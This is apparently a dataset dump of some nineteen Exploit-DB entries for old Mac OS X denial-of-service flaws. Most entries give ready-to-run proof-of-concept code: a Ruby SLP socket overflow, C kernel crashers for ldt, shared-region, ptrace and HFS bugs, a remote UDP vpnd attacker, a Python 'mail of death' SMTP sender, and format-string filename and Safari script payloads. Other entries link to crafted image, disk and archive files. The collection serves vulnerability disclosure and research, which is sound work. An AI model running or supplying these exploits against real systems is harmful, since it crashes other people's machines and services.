deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29620
Description: Apple Mac OSX 10.4.8 - ImageIO GIF Image Integer Overflow
Type: dos
Platform: osx
Date: 2007-02-20
Author: Tom Ferris

Exploit:
source: https://www.securityfocus.com/bid/22630/info

Apple Mac OS X ImageIO is prone to an integer-overflow vulnerability because it fails to handle specially crafted image files.

A remote attacker can exploit this issue to cause denial-of-service conditions and potentially to execute code, but this has not been confirmed.

This issue affects Mac OS X 10.4.8; previous versions may also be affected. 




Release Date:
February 19th, 2007

Severity:
High

Vendor:
Apple

Versions Affected:
OSX 10.4.8

Overview:
An integer overflow vulnerability exists within ImageIO when processing a malformed .gif file. This allows for an attacker to cause the application to crash, and or to execute arbitrary code on the targeted host.

Technical Details:
When decompressing a specially crafted .gif file, the gifGetBandProc function within ImageIO incorrectly parses the malformed data causing the application to segmentation fault. 

Below the crash is triggered on OS X 10.4.8 using Safari:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x3991b000
0x918f2dc5 in gifGetBandProc ()
(gdb) bt
#0 0x918f2dc5 in gifGetBandProc ()
#1 0x918ec8ea in CGImagePlusUpdateCache ()
#2 0x918ec606 in CGImagePlusCreateImage ()
#3 0x952356c0 in -[WebImageData _cacheImages:allImages:] ()
#4 0x952355f3 in -[WebImageData imageAtIndex:] ()

Thread 0 crashed with i386 Thread State:
eax: 0x396e2000 ebx: 0x918f2bcc ecx:0x00000033 edx: 0x00027f84
edi: 0x15fb9ad0 esi: 0x00000033 ebp:0xbfffd5d8 esp: 0xbfffd140
ss: 0x0000002f efl: 0x00010206 eip:0x918f2db7 cs: 0x00000027
ds: 0x0000002f es: 0x0000002f fs:0x00000000 gs: 0x00000037

Vendor Status:
Apple was notified on 9/8/2006

Discovered by:
Tom Ferris
tommy[at]security-protocols[dot]com



https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29620-1.gif

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29620-2.gif
Exploit-DB #29509
Description: Apple Mac OSX 10.4.8 - QuickDraw GetSrcBits32ARGB Remote Memory Corruption
Type: dos
Platform: osx
Date: 2007-01-23
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/22207/info

Mac OS X QuickDraw is prone to a remote memory-corruption vulnerability because the software fails to properly handle malformed PICT image files.

Successfully exploiting this issue allows remote attackers to corrupt memory and crash the affected software. Attackers may also be able to execute arbitrary machine code, but this has not been confirmed.

Mac OS X 10.4.8 is vulnerable to this issue; other versions are also likely affected, since the vulnerable component has been included in Apple operating systems since System 6.0.4 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29509.pct
Exploit-DB #3151
Description: Apple Mac OSX 10.4.8 - SLP Daemon Service Registration Buffer Overflow (PoC)
Type: dos
Platform: osx
Date: 2007-01-18
Author: MoAB

Exploit:
#!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok	  <lmh [at] info-pull.com>
#    			           Kevin Finisterre <kf_lists [at] digitalmunition.com>
# All pwnage reserved.
#
# Proof of concept for MOAB-17-01-2007
# http://projects.info-pull.com/moab/MOAB-17-01-2007.html
#
# Originally reported to Apple by Kevin, on 08/02/2006.

require 'socket'

target_path = (ARGV[0] || '/var/run/slp_ipc')
slp_socket	= UNIXSocket.open(target_path)

payload =   ("\x58" * 506)
payload <<  [0xdeadbeef].pack("V")            # ...it expects a valid mem. address (ex. 0xbffff398)

stream  = "\x01"                            + # SrvRqst = 1
          "\x00\x13"                        + # Length of remaining fields? (up to attr-list)
          "\x04\x00\x00\x00\x00\x00\x00"    +
          "\x00\x02\x00\x00"                + # length of scope-list string
          "\x78\x78"                        + # <scope-list>
          "\xff\x03\x00\x00"                + # length of attr-list string 0x3ff = 1023 in hex.
          (payload)                           # <attr-list>

slp_socket.write stream
slp_socket.close

# milw0rm.com [2007-01-18]
Exploit-DB #29144
Description: Apple Mac OSX 10.4.8 - UDIF Disk Image Remote Denial of Service
Type: dos
Platform: osx
Date: 2006-11-20
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/21201/info

Apple Mac OS X is prone to a remote denial-of-service vulnerability when handling specially crafted UDIF disk image files.

Successfully exploiting this issue allows remote users to crash affected computers, denying service to legitimate users.

Mac OS X version 10.4.8 is vulnerable to this issue; other versions may also be affected.

Note: Further information from Alastair Houghton reports that this issue cannot be exploited to execute arbitrary code. See the references for details.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29144.dmg.bz2
Exploit-DB #29161
Description: Apple Mac OSX 10.4.8 - UDTO Disk Image Remote Denial of Service
Type: dos
Platform: osx
Date: 2006-11-21
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/21236/info

Apple Mac OS X is prone to a remote denial-of-service vulnerability when handling specially crafted UDTO disk image files.

Successfully exploiting this issue allows remote users to crash affected computers, denying service to legitimate users. Attackers may also be able to exploit this issue for remote code execution, but this is reportedly unlikely.

Mac OS X 10.4.8 is vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29161.dmg.bz2
Exploit-DB #29553
Description: Apple Mac OSX 10.4.x - Help Viewer '.help' Filename Format String
Type: dos
Platform: osx
Date: 2007-01-30
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/22326/info
 
Multiple products for Mac OS X are prone to multiple remote format-string vulnerabilities. The affected applications include Help Viewer, Safari, iPhoto, and iMovie.
 
Exploiting these issues can allow attacker-supplied data to be written to arbitrary memory locations, which can facilitate the execution of arbitrary machine code with the privileges of a targeted application. Failed exploit attempts will likely crash the application.
 
Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported affected; other versions may be vulnerable as well.
 
touch %n%n%n%n%n%n%n%n%n%n%n.help
open %n%n%n%n%n%n%n%n%n%n%n.help
Exploit-DB #29551
Description: Apple Mac OSX 10.4.x - iMovie HD '.imovieproj' Filename Format String
Type: dos
Platform: osx
Date: 2007-01-30
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/22326/info

Multiple products for Mac OS X are prone to multiple remote format-string vulnerabilities. The affected applications include Help Viewer, Safari, iPhoto, and iMovie.

Exploiting these issues can allow attacker-supplied data to be written to arbitrary memory locations, which can facilitate the execution of arbitrary machine code with the privileges of a targeted application. Failed exploit attempts will likely crash the application.

Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported affected; other versions may be vulnerable as well. 

touch %n%n%n%n%n%n%n%n%n%n%n.imovieproj
open %n%n%n%n%n%n%n%n%n%n%n.imovieproj
Exploit-DB #29554
Description: Apple Mac OSX 10.4.x - iPhoto 'photo://' URL Handling Format String
Type: dos
Platform: osx
Date: 2007-01-30
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/22326/info
  
Multiple products for Mac OS X are prone to multiple remote format-string vulnerabilities. The affected applications include Help Viewer, Safari, iPhoto, and iMovie.
  
Exploiting these issues can allow attacker-supplied data to be written to arbitrary memory locations, which can facilitate the execution of arbitrary machine code with the privileges of a targeted application. Failed exploit attempts will likely crash the application.
  
Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported affected; other versions may be vulnerable as well.
  
open 'photo://%25n%25n%25n%25n%25n%25n'
Exploit-DB #29555
Description: Apple Mac OSX 10.4.x - Safari window.console.log Format String
Type: dos
Platform: osx
Date: 2007-01-30
Author: LMH

Exploit:
source: https://www.securityfocus.com/bid/22326/info
   
Multiple products for Mac OS X are prone to multiple remote format-string vulnerabilities. The affected applications include Help Viewer, Safari, iPhoto, and iMovie.
   
Exploiting these issues can allow attacker-supplied data to be written to arbitrary memory locations, which can facilitate the execution of arbitrary machine code with the privileges of a targeted application. Failed exploit attempts will likely crash the application.
   
Help Viewer 3.0.0, Safari 2.0.4, iMovie HD 6.0.3, and iPhoto 6.0.5 are reported affected; other versions may be vulnerable as well.
   
<script>
window.console.log('%n%n%nOh it takes a montage%n%n%n')
</script>
Exploit-DB #29523
Description: Apple Mac OSX 10.4.x - Software Update Format String
Type: dos
Platform: osx
Date: 2007-01-25
Author: kf

Exploit:
source: https://www.securityfocus.com/bid/22222/info

Apple Software Update is prone to a format-string vulnerability.

This issue presents itself because the application fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

A successful attack may crash the application or possibly lead to arbitrary code execution. This may facilitate unauthorized access or privilege escalation in the context of the user running the application. 

$ touch %x.%x.%x.%x.%x.%x.%x.swutmp
$ open %x.%x.%x.%x.%x.%x.%x.swutmp
Exploit-DB #4624
Description: Apple Mac OSX 10.4.x Kernel - 'i386_set_ldt()' Integer Overflow (PoC)
Type: dos
Platform: osx
Date: 2007-11-16
Author: RISE Security

Exploit:
#include <stdio.h>
#include <stdlib.h>
#include <architecture/i386/table.h>
#include <i386/user_ldt.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>

int
main(void)
{
    union ldt_entry descs;
    char *buf;
    u_long pgsz = sysconf(_SC_PAGESIZE);

    if ((buf = (char *)malloc(pgsz * 4)) == -1) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    memset(buf, 0x41, pgsz * 4);

    buf = (char *)(((u_long)buf & ~pgsz) + pgsz);

    if (mprotect((char *)((u_long)buf + (pgsz * 2)), (size_t)pgsz,
    PROT_WRITE) == -1) {
        perror("mprotect");
        exit(EXIT_FAILURE);
    }

    /*
     * This will result in kalloc() size argument being 0x00000000 and
copyin()
     * size argument being 0xfffffff8.
     */

    if (i386_set_ldt(1024, (union ldt_entry *)&buf, -1) == -1) {
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_SUCCESS);
}

// milw0rm.com [2007-11-16]
Exploit-DB #3167
Description: Apple Mac OSX 10.4.x Kernel - 'shared_region_map_file_np()' Memory Corruption
Type: dos
Platform: osx
Date: 2007-01-21
Author: Adriano Lima

Exploit:
/*
This vulnerability was discovered by Adriano Lima
<adriano@risesecurity.org>.

REFERENCES

[1] Mac OS X Internals: A Systems Approach By Amit Singh

DISCLAIMER

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any
information
provided, including any kind of information which is incomplete or
incorrect,
will therefore be rejected.
*/


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <unistd.h>

int main(int argc,char **argv){
   int fd;

   if((fd=open("/usr/lib/libSystem.dylib",O_RDONLY))==-1){
       perror("open");
       exit(EXIT_FAILURE);
   }

   if(syscall(SYS_shared_region_map_file_np,fd,0x02000000,NULL,NULL)==-1){
       perror("shared_region_map_file_np");
       exit(EXIT_FAILURE);
   }

   exit(EXIT_FAILURE);
}

// milw0rm.com [2007-01-21]
Exploit-DB #4690
Description: Apple Mac OSX 10.5.0 (Leopard) - vpnd Remote Denial of Service (PoC)
Type: dos
Platform: osx
Date: 2007-12-04
Author: mu-b

Exploit:
/* vpnd-leopard-lb-dos.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X 10.5.0 (leopard) vpnd remote DoS POC
 * by mu-b - Fri 9 Nov 2007
 *
 * - Tested on: Apple MACOS X 10.5.0 (leopard) vpnd
 *
 * Program received signal EXC_ARITHMETIC, Arithmetic exception.
 * 0x00004828 in accept_connections ()
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#define DEF_PORT      4112
#define PORT_VPND     DEF_PORT

static char abuf[] =
  "\x00\x01\x00\x18"
  "\x00\x00\x00\x00"
  "\xd5\xa5\xf9\xc3"
  "\x00\x00"          /* [edi+0Ch] -> ecx == 0 */
  "\x00\x00\x00\x00"
  "\x00\x00\x00\x00"
  "\x00\x00";

static void zattack (char *host);

static void
zattack (char *host)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int fd, n;

  if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
    {
      perror ("socket()");
      exit (EXIT_FAILURE);
    }

  if ((hp = gethostbyname (host)) == NULL)
    {
      perror ("gethostbyname()");
      exit (EXIT_FAILURE);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_port = htons (PORT_VPND);

  printf ("+Attacking %s:%d\n", host, PORT_VPND);

  n = sendto (fd, abuf, sizeof abuf - 1, 0, (struct sockaddr *) &address, sizeof address);
  if (n != sizeof abuf - 1)
    {
      fprintf (stderr, "zattack: sendto %d != %d\n", n, sizeof abuf - 1);
      exit (EXIT_FAILURE);
    }

  close (fd);
}

int
main (int argc, char **argv)
{
  printf ("Apple MACOS X 10.5.0 (leopard) vpnd remote DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <host>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  zattack (argv[1]);

  printf ("+Wh00t!\n");

  return (EXIT_SUCCESS);
}

// milw0rm.com [2007-12-04]
Exploit-DB #9845
Description: Apple Mac OSX 10.5.6/10.5.7 - ptrace mutex Denial of Service
Type: dos
Platform: osx
Date: 2009-11-05
Author: prdelka

Exploit:
/*
  Mac OS X 10.5.6-10.6.1 ptrace() mutex handling DoS 
  ==================================================
  This code should be run in a loop and due to problems 
  with mutex handling in ptrace a DoS can occur when a 
  destroyed mutex is attempted to be interlocked by OSX 
  kernel giving rise to a race condition. You may need
  to run this code multiple times.
  
  - Tested against 10.5.6
  - Tested against 10.5.7
  - Tested against 10.6.1

  while `true`;do ./prdelka-vs-APPLE-ptracepanic;done

  -- prdelka
*/
#include <sys/types.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>


int main(){
	pid_t pid;
	char *argv[] = {"id","","",0};
	char *envp[] = {"",0};
	pid = fork();
	if(pid == 0){
		usleep(100);
		execve("/usr/bin/id",argv,envp);
	}
	else{
		usleep(820);
		if(ptrace(PT_ATTACH,pid,0,0)==0){
			printf("[ PID: %d has been caught!\n",pid);
			if(ptrace(PT_DETACH,pid,0,0)<0){
				perror("Evil happens.");
			}
			usleep(1);
			wait(0);
			}
		else{
			perror("Fail!");
		}
	}
	return(0);
}
Exploit-DB #33337
Description: Apple Mac OSX 10.5.x - 'ptrace' Mutex Handling Local Denial of Service
Type: dos
Platform: osx
Date: 2009-11-04
Author: Micheal Turner

Exploit:
// source: https://www.securityfocus.com/bid/36915/info

Apple Mac OS X is prone to a local denial-of-service vulnerability that is caused by a race condition.

Exploiting this issue allows local, unprivileged users to crash affected kernels, denying further service to legitimate users. 

/*
  Mac OS X 10.5.6/10.5.7 ptrace() mutex handling DoS 
  ==================================================
  This code should be run in a loop and due to problems 
  with mutex handling in ptrace a DoS can occur when a 
  destroyed mutex is attempted to be interlocked by OSX 
  kernel giving rise to a race condition. You may need
  to run this code multiple times.
  
  - Tested against 10.5.6
  - Tested against 10.5.7

  while `true`;do ./prdelka-vs-APPLE-ptracepanic;done

  This code is dedicated to a friend who I met in this
  place. Long live the exploit scene. R.I.P str0ke.

  -- prdelka
*/
#include <sys/types.h>
#include <sys/ptrace.h>
#include <stdio.h>
#include <stdlib.h>


int main(){
	pid_t pid;
	char *argv[] = {"id","","",0};
	char *envp[] = {"",0};
	pid = fork();
	if(pid == 0){
		usleep(100);
		execve("/usr/bin/id",argv,envp);
	}
	else{
		usleep(820);
		if(ptrace(PT_ATTACH,pid,0,0)==0){
			printf("[ PID: %d has been caught!\n",pid);
			if(ptrace(PT_DETACH,pid,0,0)<0){
				perror("Evil happens.");
			}
			usleep(1);
			wait(0);
			}
		else{
			perror("Fail!");
		}
	}
	return(0);
}
Exploit-DB #12375
Description: Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)
Type: dos
Platform: osx
Date: 2010-04-24
Author: Maksymilian Arciemowicz

Exploit:
// -----BEGIN PGP SIGNED MESSAGE-----
// Hash: SHA1
/* 	Proof of Concept for CVE-2010-0105
	MacOS X 10.6 hfs file system attack (Denial of Service)
	by Maksymilian Arciemowicz from SecurityReason.com

	http://securityreason.com/achievement_exploitalert/15
	
	NOTE:
	
	This DoS will be localized in phase
	
	Checking multi-linked directories

	So we need activate it with line
	
		connlink("C/C","CX");

	Now we need create PATH_MAX/2 directory tree to make overflow.

	and we should get diskutil and fsck_hfs exit with sig=8
	
	~ x$ diskutil verifyVolume /Volumes/max2
	Started filesystem verification on disk0s3 max2
	Performing live verification
	Checking Journaled HFS Plus volume
	Checking extents overflow file
	Checking catalog file
	Checking multi-linked files
	Checking catalog hierarchy
	Checking extended attributes file
	Checking multi-linked directories
	Maximum nesting of folders and directory hard links reached
	The volume max2 could not be verified completely
	Error: -9957: Filesystem verify or repair failed
	Underlying error: 8: POSIX reports: Exec format error
	
		
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>


int createdir(char *name){
	if(0!=mkdir(name,((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0))| S_IWUSR
|S_IXUSR)){
		printf("Can`t create %s", name);
		exit(1);}
		else
		return 0;	
}

int comein(char *name){
	if(0!=chdir(name)){
		printf("Can`t chdir in to %s", name);
		exit(1);}
		else
		return 0;	
}

int connlink(a,b)
char *a,*b;
{
	if(0!=link(a,b)){
		printf("Can`t create link %s => %s",a,b);
		exit(1);}
		else
		return 0;	
}

int main(int argc,char *argv[]){
	
 	int level;
	FILE *fp;
	
	if(argc==2) {
		level=atoi(argv[1]);
	}else{
		level=512; //default
	}
	createdir("C"); //create hardlink
	createdir("C/C"); //create hardlink
	
	connlink("C/C","CX"); //we need use to checking multi-linked directorie

	comein("C");
	
	while(level--)
			printf("Level: %i mkdir:%i chdir:%i\n",level,
			createdir("C"),
			comein("C"));		
	
	
	printf("check diskutil verifyVolume /\n");
	return 0;
}
/*
- -- 
Best Regards,
- ------------------------
pub   1024D/A6986BD6 2008-08-22
uid                  Maksymilian Arciemowicz (cxib)
<cxib@securityreason.com>
sub   4096g/0889FA9A 2008-08-22

http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkvTTQsACgkQpiCeOKaYa9bHwACfSRqy8xJbJBGFvLbLIjabxMkI
to4AoMMetii9Gc7EyOK7/3+QP4ynP5kY
=IML/
-----END PGP SIGNATURE-----
*/
Exploit-DB #36271
Description: Apple Mac OSX 10.6.5 / iOS 4.3.3 Mail - Denial of Service
Type: dos
Platform: osx
Date: 2011-10-29
Author: shebang42

Exploit:
source: https://www.securityfocus.com/bid/50446/info

Apple Mac OS X and iOS are prone to a denial-of-service vulnerability.

Attackers can exploit this issue to cause the affected mail client to crash, effectively denying service. 

#!/usr/bin/env python

# Mail of death for Apple's Mail.app
#
# Tested & vulnerable:  Leopard/Intel, Snow Leopard, Lion (up to 10.7.2), IOS 4.2.x, 4.3.3
# Tested != vulnerable: Leopard/PPC
# Create mail with n_attach MIME attachments
# Version 1.0; shebang42

import smtplib

n_attach=2040 # ~2024 is sufficient
relay='your.mta.goes.here'
mailfrom = 'mail_of_death@example.com'
mailto = mailfrom
subject = 'PoC Apple Mail.app mail of death'
date = 'October 29, 2011 10:00:00 GMT'


def craft_mail():
    header = 'From: %s\nTo: %s\nSubject: %s\nDate: %s\nContent-Type: multipart/mixed ; boundary="delim"\n\n' % (mailfrom, mailto, subject, date)
    body = '--delim\nContent-Type: text/plain\nContent-Disposition: inline\n\nHello World\nBye Mail.app\n\n\n'
    attach = '--delim\nContent-Disposition: inline\n\n'*n_attach

    ### Another, slightly longer option to crash Mail.app (same bug)
    # attach = '--delim\nContent-Type: text/plain\nContent-Disposition: attachment; filename=AAAAAAAA\n\ncontent\n'*n_attach
    return header + body + attach


def send_mail(mail):
    server = smtplib.SMTP(relay)
    server.sendmail(mailfrom, mailto, mail)
    server.quit()

mail=craft_mail()
#print mail
send_mail (mail)
Exploit-DB #27715
Description: Apple Mac OSX 10.x - '.zip' 'BOMStackPop()' Overflow
Type: dos
Platform: osx
Date: 2006-04-20
Author: Tom Ferris

Exploit:
source: https://www.securityfocus.com/bid/17634/info
 
Apple Mac OS X is reported prone to multiple security vulnerabilities.
 
These issue affect Mac OS X and various applications including Safari, Preview, Finder, QuickTime, and BOMArchiveHelper. A remote attacker may exploit these issues to execute arbitrary code and/or trigger a denial-of-service condition.
 
Apple Mac OS X 10.4.6 and prior are reported vulnerable to these issues.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27715.zip
Exploit-DB #33479
Description: Apple Mac OSX 10.x - 'libc/strtod(3)' Memory Corruption
Type: dos
Platform: osx
Date: 2010-01-08
Author: Maksymilian Arciemowicz

Exploit:
// source: https://www.securityfocus.com/bid/37687/info

Mac OS X is prone to a memory-corruption vulnerability because the software fails to properly bounds-check data used as an array index.

Attackers may exploit this issue to execute arbitrary code within the context of affected applications.

Mac OS X 10.5 and 10.6 are affected; other versions may also be vulnerable. 

#include <stdio.h>
#include <stdlib.h>
int main ()
{
char number[] = "0[PII_REDACTED]...11", *e;
double weed = strtod(number, &e);
printf("grams = %lf\n", weed);
return 0;
}